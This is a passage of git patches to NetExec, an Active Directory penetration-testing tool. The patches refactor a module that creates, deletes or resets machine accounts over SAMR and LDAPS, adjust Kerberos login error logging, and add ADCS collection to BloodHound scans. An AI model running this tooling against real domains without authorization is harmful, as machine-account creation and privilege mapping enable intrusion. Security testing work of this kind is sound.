context.log.error("PASSWORD option is required!") sys.exit(1) def on_login(self, context, connection): self.context = context self.connection = connection - self.__domain = connection.domain - self.__domainNetbios = connection.domain - self.__kdcHost = connection.kdcHost - self.__username = connection.username - self.__password = connection.password - self.__host = connection.host - self.__aesKey = connection.aesKey - self.__doKerberos = connection.kerberos - self.__nthash = connection.nthash - self.__lmhash = connection.lmhash - - # First try to add via SAMR over SMB - self.do_samr_add() - - # If SAMR fails now try over LDAPS - if not self.noLDAPRequired: - self.do_ldaps_add() - - def do_samr_add(self): - """Connects to a target server and performs various operations related to adding or deleting machine accounts.""" - string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np") - string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding - - rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.setRemoteHost(self.__host) - - if hasattr(rpc_transport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) - - rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost) - - dce = rpc_transport.get_dce_rpc() - if self.__doKerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) - - samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN) - serv_handle = samr_connect_response["ServerHandle"] - - # Get the list of domains - samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle) - domains = samr_enum_response["Buffer"]["Buffer"] - domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"] - if len(domains_without_builtin) > 1: - domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains)) - if len(domain) != 1: - self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'") - self.context.log.fail("Available domain(s):") - for domain in domains: - self.context.log.fail(f" * {domain['Name']}") - raise Exception - else: - selected_domain = domain[0]["Name"] - else: - selected_domain = domains_without_builtin[0]["Name"] - - domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"] - - self.context.log.debug(f"Opening domain {selected_domain}...") - domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] - - # Get handle for existing computer account - if self.__noAdd or self.__delete: - try: - user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0] - except samr.DCERPCSessionError as e: - self.context.log.debug(f"samrLookupNamesInDomain failed: {e}") - if "STATUS_NONE_MAPPED" in str(e): - self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}") - self.noLDAPRequired = True - else: - self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}") - return - if self.__delete: - access = samr.DELETE - message = "delete" - else: - access = samr.USER_FORCE_PASSWORD_CHANGE - message = "set the password for" - try: - user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"] - except samr.DCERPCSessionError as e: - self.context.log.debug(f"samrOpenUser failed: {e}") - if "STATUS_ACCESS_DENIED" in str(e): - self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}") - self.noLDAPRequired = True - else: - self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}") + if connection.args.protocol == "smb": + self._do_samr() + elif connection.args.protocol == "ldap": + self._do_ldap() + + def _db_remove_credential(self): + try: + db = self.context.db + domain = self.connection.domain + rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name) + if rows: + db.remove_credentials([row[0] for row in rows]) + except Exception as e: + self.context.log.debug(f"Could not remove credentials from DB: {e}") + + def _db_add_credential(self): + self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password) + + def _do_samr(self): + conn = self.connection + rpc_transport = transport.SMBTransport( + conn.conn.getRemoteHost(), + 445, + r"\samr", + smb_connection=conn.conn, + ) + + try: + dce = rpc_transport.get_dce_rpc() + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + except Exception as e: + self.context.log.fail(f"Failed to connect to SAMR: {e}") + return + + try: + self._samr_execute(dce, conn.conn.getRemoteName()) + finally: + dce.disconnect() + + def _samr_execute(self, dce, target_name): + domain = self.connection.domain + username = self.connection.username + + serv_handle = samr.hSamrConnect5( + dce, + f"\\\\{target_name}\x00", + samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN, + )["ServerHandle"] + + domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"] + non_builtin = [d for d in domains if d["Name"].lower() != "builtin"] + + if len(non_builtin) > 1: + matched = [d for d in domains if d["Name"].lower() == domain.lower()] + if len(matched) != 1: + self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}") return - # Add computer account + selected = matched[0]["Name"] else: - try: - samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName]) - self.noLDAPRequired = True - self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"') - except samr.DCERPCSessionError as e: - self.context.log.debug(f"samrLookupNamesInDomain failed: {e}") - if "STATUS_NONE_MAPPED" not in str(e): - self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}") - return - try: - user_handle = samr.hSamrCreateUser2InDomain( - dce, - domain_handle, - self.__computerName, - samr.USER_WORKSTATION_TRUST_ACCOUNT, - samr.USER_FORCE_PASSWORD_CHANGE, - )["UserHandle"] - self.noLDAPRequired = True - self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'") - self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) - except samr.DCERPCSessionError as e: - self.context.log.debug(f"samrCreateUser2InDomain failed: {e}") - if "STATUS_ACCESS_DENIED" in str(e): - self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}") - elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e): - self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}") - return + selected = non_builtin[0]["Name"] - if self.__delete: - samr.hSamrDeleteUser(dce, user_handle) - self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account") - self.noLDAPRequired = True + domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"] + domain_handle = samr.hSamrOpenDomain( + dce, serv_handle, + samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, + domain_sid, + )["DomainHandle"] - # Removing the machine account in the DB - user = self.context.db.get_user(self.__domain, self.__computerName) - user_ids = [row[0] for row in user] - self.context.db.remove_credentials(user_ids) - else: - samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword) - if self.__noAdd: - self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'") - self.noLDAPRequired = True - else: - user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0] - user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"] - req = samr.SAMPR_USER_INFO_BUFFER() - req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation - req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT - samr.hSamrSetInformationUser2(dce, user_handle, req) - if not self.noLDAPRequired: - self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'") - self.noLDAPRequired = True + user_handle = None + try: + user_handle = self._samr_open_existing(dce, domain_handle, selected, username) if self.no_add or self.delete else self._samr_create(dce, domain_handle, username) + + if user_handle is None: + return + if self.delete: + samr.hSamrDeleteUser(dce, user_handle) + user_handle = None + self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account") + self._db_remove_credential() + else: + samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password) + if self.no_add: + self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'") + else: + user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle) + self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'") + self._db_add_credential() + finally: if user_handle is not None: samr.hSamrCloseHandle(dce, user_handle) - if domain_handle is not None: - samr.hSamrCloseHandle(dce, domain_handle) - if serv_handle is not None: - samr.hSamrCloseHandle(dce, serv_handle) - dce.disconnect() + samr.hSamrCloseHandle(dce, domain_handle) + samr.hSamrCloseHandle(dce, serv_handle) - self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) + def _samr_set_workstation_trust(self, dce, domain_handle, user_handle): + user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0] + samr.hSamrCloseHandle(dce, user_handle) + new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"] + req = samr.SAMPR_USER_INFO_BUFFER() + req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation + req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT + samr.hSamrSetInformationUser2(dce, new_handle, req) + return new_handle - def do_ldaps_add(self): - """Performs an LDAPS add operation.""" - ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}" + def _samr_open_existing(self, dce, domain_handle, selected_domain, username): + try: + user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0] + except samr.DCERPCSessionError as e: + if "STATUS_NONE_MAPPED" in str(e): + self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}") + else: + self.context.log.fail(f"Error looking up {self.computer_name}: {e}") + return None - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0") - ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) - c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password) - c.bind() + access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE + action = "delete" if self.delete else "change password for" + try: + return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"] + except samr.DCERPCSessionError as e: + if "STATUS_ACCESS_DENIED" in str(e): + self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'") + else: + self.context.log.fail(f"Error opening {self.computer_name}: {e}") + return None - sAMAccountName = self.__computerName - name = self.__computerName.rstrip("$") + def _samr_create(self, dce, domain_handle, username): + try: + samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name]) + self.context.log.fail(f"Computer '{self.computer_name}' already exists") + return None + except samr.DCERPCSessionError as e: + if "STATUS_NONE_MAPPED" not in str(e): + self.context.log.fail(f"Error looking up {self.computer_name}: {e}") + return None - if self.__delete: - result = c.delete(f"cn={name},cn=Computers,{ldap_domain}") - if result: - self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account') - elif result is False and c.last_error == "noSuchObject": - self.context.log.fail(f'Computer named "{sAMAccountName}" was not found') - elif result is False and c.last_error == "insufficientAccessRights": - self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"') + try: + return samr.hSamrCreateUser2InDomain( + dce, domain_handle, self.computer_name, + samr.USER_WORKSTATION_TRUST_ACCOUNT, + samr.USER_FORCE_PASSWORD_CHANGE, + )["UserHandle"] + except samr.DCERPCSessionError as e: + err = str(e) + if "STATUS_USER_EXISTS" in err: + self.context.log.fail(f"Computer '{self.computer_name}' already exists") + elif "STATUS_ACCESS_DENIED" in err: + self.context.log.fail(f"{username} does not have the right to create a computer account") + elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in err: + self.context.log.fail(f"{username} exceeded the machine account quota") else: - self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}') + self.context.log.fail(f"Error creating computer: {e}") + return None + + def _do_ldap(self): + conn = self.connection + ldap_connection = conn.ldap_connection + + if not ldap_connection: + self.context.log.fail("No LDAP connection available") + return + + if conn.port != 636: + self.context.log.fail("LDAP module requires LDAPS. Use --port 636.") + return + + name = self.computer_name.rstrip("$") + computer_dn = f"CN={name},CN=Computers,{conn.baseDN}" + + if self.delete: + self._ldap_delete(ldap_connection, computer_dn) + elif self.no_add: + self._ldap_change_password(ldap_connection, computer_dn) else: - spns = [ - f"HOST/{name}", - f"HOST/{name}.{self.connection.domain}", - f"RestrictedKrbHost/{name}", - f"RestrictedKrbHost/{name}.{self.connection.domain}", - ] - result = c.add( - f"cn={name},cn=Computers,{ldap_domain}", + self._ldap_add(ldap_connection, computer_dn, name) + + def _ldap_delete(self, ldap_conn, dn): + try: + ldap_conn.delete(dn) + self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account') + self._db_remove_credential() + except LDAPSessionError as e: + err = str(e) + if "noSuchObject" in err: + self.context.log.fail(f'Computer "{self.computer_name}" was not found') + elif "insufficientAccessRights" in err: + self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"') + else: + self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}') + + def _ldap_change_password(self, ldap_conn, dn): + try: + encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le") + ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]}) + self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'") + self._db_add_credential() + except LDAPSessionError as e: + err = str(e) + if "noSuchObject" in err: + self.context.log.fail(f'Computer "{self.computer_name}" was not found') + elif "insufficientAccessRights" in err: + self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"') + elif "unwillingToPerform" in err: + self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}". Verify LDAPS.') + else: + self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}') + + def _ldap_add(self, ldap_conn, dn, name): + domain = self.connection.domain + fqdn = f"{name}.{domain}" + spns = [ + f"HOST/{name}", + f"HOST/{fqdn}", + f"RestrictedKrbHost/{name}", + f"RestrictedKrbHost/{fqdn}", + ] + + try: + ldap_conn.add( + dn, ["top", "person", "organizationalPerson", "user", "computer"], { - "dnsHostName": f"{name}.{self.connection.domain}", + "dnsHostName": fqdn, "userAccountControl": 0x1000, "servicePrincipalName": spns, - "sAMAccountName": sAMAccountName, - "unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le") - } + "sAMAccountName": self.computer_name, + "unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"), + }, ) - if result: - self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"') - self.context.log.highlight("You can try to verify this with the nxc command:") - self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'") - elif result is False and c.last_error == "entryAlreadyExists": - self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists") - elif not result: - self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}") - c.unbind() + self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"') + self._db_add_credential() + except LDAPSessionError as e: + err = str(e) + if "entryAlreadyExists" in err: + self.context.log.fail(f"Computer '{self.computer_name}' already exists") + elif "insufficientAccessRights" in err: + self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'") + elif "unwillingToPerform" in err: + self.context.log.fail("Server unwilling to perform. Verify LDAPS is active.") + elif "constraintViolation" in err: + self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.") + else: + self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") From e1dfde2a35e3d057cdc8f3ec30f04cb791748585 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Feb 2026 23:07:09 +0100 Subject: [PATCH 020/165] fix AttributeError on NetBIOSTimeout in kerberos_login --- nxc/protocols/smb.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 491bf2f1a7..92d418ff10 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -415,12 +415,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except (FileNotFoundError, KerberosException) as e: self.logger.fail(f"CCache Error: {e}") return False - except OSError as e: - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" - if self.args.delegate: - used_ccache = f" through S4U with {username}" - self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") - except (SessionError, Exception) as e: + except SessionError as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" if self.args.delegate: @@ -432,6 +427,9 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if error not in smb_error_status: self.inc_failed_login(username) return False + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError, OSError) as e: + self.logger.fail(f"Connection Error: {e}") + return False def plaintext_login(self, domain, username, password): # Re-connect since we logged off From a7ebd5cf352e49c3ec703def4c566f25dd6a2c5d Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sun, 8 Feb 2026 23:23:33 +0100 Subject: [PATCH 021/165] restore OSError logging with secret in kerberos_login --- nxc/protocols/smb.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 92d418ff10..df036b0467 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -415,6 +415,12 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except (FileNotFoundError, KerberosException) as e: self.logger.fail(f"CCache Error: {e}") return False + except OSError as e: + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" + self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") + return False except SessionError as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" @@ -427,7 +433,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if error not in smb_error_status: self.inc_failed_login(username) return False - except (ConnectionResetError, NetBIOSTimeout, NetBIOSError, OSError) as e: + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") return False From e1a6f1525e63d2eb54edf335aa39724b2de2f85a Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 9 Feb 2026 09:36:20 +0100 Subject: [PATCH 022/165] show auth credentials in kerberos_login connection error logs --- nxc/protocols/smb.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index df036b0467..c594ce6172 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -434,7 +434,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.inc_failed_login(username) return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: - self.logger.fail(f"Connection Error: {e}") + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" + desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e) + self.logger.fail(f"{domain}\\{self.username}{used_ccache} {desc}") return False def plaintext_login(self, domain, username, password): From 933b97193edf57242c053839a804e52586b48b97 Mon Sep 17 00:00:00 2001 From: Arnaud Rebillout Date: Tue, 10 Feb 2026 17:21:02 +0700 Subject: [PATCH 023/165] Switch to terminaltables3 From terminaltables3 README: > [terminaltables3] is a fork of the terminaltables project. Which is > archived and unmaintained. This library is in a new namespace but should > otherwise be a drop in replacement. Maintaining goals consist of > maintaining ecosystem compatibility, type annotations and responding to > community pull requests. Debian has removed the old terminaltables projects and only provides terminaltables3 now (in next release Debian 14 forky, which is currently Debian testing). Other distros will probably do the same, or have done it already. --- nxc/nxcdb.py | 2 +- poetry.lock | 10 +++++----- pyproject.toml | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 5293cf53c9..d75444dd17 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -8,7 +8,7 @@ from os.path import join as path_join from textwrap import dedent from requests import get, post, ConnectionError -from terminaltables import AsciiTable +from terminaltables3 import AsciiTable from termcolor import colored from nxc.loaders.protocolloader import ProtocolLoader diff --git a/poetry.lock b/poetry.lock index 4f6ba8b2d0..4c64d37794 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2432,15 +2432,15 @@ files = [ tests = ["pytest", "pytest-cov"] [[package]] -name = "terminaltables" -version = "3.1.10" +name = "terminaltables3" +version = "4.0.0" description = "Generate simple tables in terminals from a nested list of strings." optional = false -python-versions = ">=2.6" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "terminaltables-3.1.10-py2.py3-none-any.whl", hash = "sha256:e4fdc4179c9e4aab5f674d80f09d76fa436b96fdc698a8505e0a36bf0804a874"}, - {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, + {file = "terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270"}, + {file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"}, ] [[package]] diff --git a/pyproject.toml b/pyproject.toml index f03162a3ad..170c0a5138 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -41,7 +41,7 @@ dependencies = [ "rich>=13.3.5", "sqlalchemy>=2.0.4", "termcolor>=2.4.0", - "terminaltables>=3.1.0", + "terminaltables3>=4.0.0", "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", From b20a7c1644bd8d2ec7f422e258a6c1aed53d5367 Mon Sep 17 00:00:00 2001 From: 0x0Trace <0x0Trace@users.noreply.github.com> Date: Fri, 13 Feb 2026 01:53:12 -0500 Subject: [PATCH 024/165] PR changes 13_02_26 --- nxc/protocols/ldap.py | 97 +++++++++++++++----------------- nxc/protocols/ldap/proto_args.py | 2 +- pyproject.toml | 2 +- 3 files changed, 47 insertions(+), 54 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 357d30253c..04984fafc8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -2,6 +2,7 @@ # https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import hashlib import hmac +import json import os import socket from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH @@ -47,6 +48,7 @@ from nxc.parsers.ldap_results import parse_result_attributes from nxc.helpers.ntlm_parser import parse_challenge from nxc.paths import CONFIG_PATH +from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -84,13 +86,14 @@ def resolve_collection_methods(methods): "container", "adcs", ] - default_methods = ["group", "localadmin", "session", "trusts"] - # Similar to SharpHound, All is not really all, it excludes loggedon + default_methods = ["group", "localadmin", "session", "trusts", "adcs"] + # Similar to SharpHound, All includes everything including LoggedOn and ADCS all_methods = [ "group", "localadmin", "session", "trusts", + "loggedon", "objectprops", "acl", "dcom", @@ -1631,7 +1634,46 @@ def bloodhound(self): collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) if not collect: return - self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) + self.logger.highlight("Resolved collection methods: " + ", ".join(sorted(collect))) + + # Display which collection methods were not selected + all_collectible = {"group", "localadmin", "session", "trusts", "loggedon", "objectprops", "acl", "dcom", "rdp", "psremote", "container", "adcs"} + excluded = sorted(all_collectible - collect) + if excluded: + self.logger.highlight("Excluded collection methods: " + ", ".join(excluded)) + + # Check which BloodHound version is desired + use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + package_name, version, is_ce = get_bloodhound_info() + + # ADCS collection is only compatible with BloodHound-CE + if "adcs" in collect and not use_bhce: + self.logger.fail("ADCS collection is only compatible with the BloodHound-CE collector") + return + + if use_bhce and not is_ce: + self.logger.fail("Configuration Issue Detected") + self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") + self.logger.fail("poetry add bloodhound-ce") + self.logger.fail("") + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound") + self.logger.fail("pipx inject netexec bloodhound-ce --force") + return + + elif not use_bhce and is_ce: + self.logger.fail("Configuration Issue Detected") + self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail("Please run the following commands to fix this:") + self.logger.fail("poetry remove bloodhound-ce") + self.logger.fail("poetry add bloodhound") + self.logger.fail("") + self.logger.fail("Or if you installed with pipx:") + self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") + self.logger.fail("pipx inject netexec bloodhound --force") + return # Separate ADCS from bloodhound-python methods bh_collect = {m for m in collect if m != "adcs"} @@ -1642,33 +1684,6 @@ def bloodhound(self): # Run bloodhound-python collection if needed if need_bloodhound_python: - use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) - package_name, version, is_ce = get_bloodhound_info() - - if use_bhce and not is_ce: - self.logger.fail("Configuration Issue Detected") - self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") - self.logger.fail("poetry add bloodhound-ce") - self.logger.fail("") - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound") - self.logger.fail("pipx inject netexec bloodhound-ce --force") - return - - elif not use_bhce and is_ce: - self.logger.fail("Configuration Issue Detected") - self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") - self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce") - self.logger.fail("poetry add bloodhound") - self.logger.fail("") - self.logger.fail("Or if you installed with pipx:") - self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") - self.logger.fail("pipx inject netexec bloodhound --force") - return - auth = ADAuthentication( username=self.username, password=self.password, @@ -1746,30 +1761,9 @@ def _collect_adcs_for_bloodhound(self, timestamp): Returns: List of file paths to include in the BloodHound zip. """ - from certihound import ADCSCollector, BloodHoundCEExporter, ImpacketLDAPAdapter - self.logger.highlight("Collecting ADCS data (CertiHound)...") try: - # Get domain SID if not already set - if not self.sid_domain: - search_filter = "(objectClass=domain)" - attributes = ["objectSid"] - resp = self.search(search_filter, attributes, sizeLimit=1, baseDN=self.baseDN) - if resp: - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry): - for attr in item["attributes"]: - if str(attr["type"]) == "objectSid": - from impacket.ldap.ldaptypes import LDAP_SID - sid = LDAP_SID(bytes(attr["vals"][0])) - self.sid_domain = sid.formatCanonical() - break - - if not self.sid_domain: - self.logger.fail("Could not retrieve domain SID for ADCS collection") - return [] - # Create CertiHound adapter and collector adapter = ImpacketLDAPAdapter( search_func=self.search, @@ -1798,7 +1792,6 @@ def _collect_adcs_for_bloodhound(self, timestamp): for node_type, content in output.items(): filename = f"{timestamp}{node_type}.json" with open(filename, "w") as f: - import json json.dump(content, f) adcs_files.append(filename) self.logger.debug(f"Wrote ADCS file: {filename}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 88e276fb93..b98c216d9c 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -43,6 +43,6 @@ def proto_args(parser, parents): bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan") - bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma. ADCS requires: pip install netexec[adcs]") + bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.") return parser diff --git a/pyproject.toml b/pyproject.toml index f3779768b2..e50912f456 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -22,6 +22,7 @@ dependencies = [ "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", "bloodhound-ce>=1.8.0", + "certihound>=0.1.1", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", @@ -48,7 +49,6 @@ dependencies = [ "impacket @ 